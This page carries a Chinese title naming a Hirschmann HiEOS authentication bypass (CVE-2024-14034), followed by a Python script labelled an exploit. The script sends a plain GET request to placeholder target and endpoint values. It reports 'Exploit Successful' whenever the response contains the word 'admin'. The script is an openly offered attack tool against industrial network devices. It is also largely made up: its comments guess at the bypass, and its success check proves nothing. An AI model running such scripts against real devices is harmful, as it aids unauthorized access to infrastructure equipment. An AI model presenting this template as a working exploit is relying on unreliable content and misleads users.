CVE-2024-14034 Hirschmann HiEOS认证绕过漏洞

import requests # Exploit Title: Hirschmann HiEOS Authentication Bypass (CVE-2024-14034) # Description: Send a crafted request to bypass authentication and access admin functionality. target_url = "http://<TARGET_IP>/<VULNERABLE_ENDPOINT>" # In a real scenario, specific headers or cookies might be omitted or crafted to trigger the bypass. # Based on the description, simple access might be granted without credentials. headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Example: Attempting to access a configuration download or admin page response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200 and "admin" in response.text.lower(): print(f"[+] Exploit Successful! Authentication bypassed.") print(f"[+] Response Length: {len(response.text)}") else: print(f"[-] Exploit Failed or Patched. Status Code: {response.status_code}") except Exception as e: print(f"Error: {e}")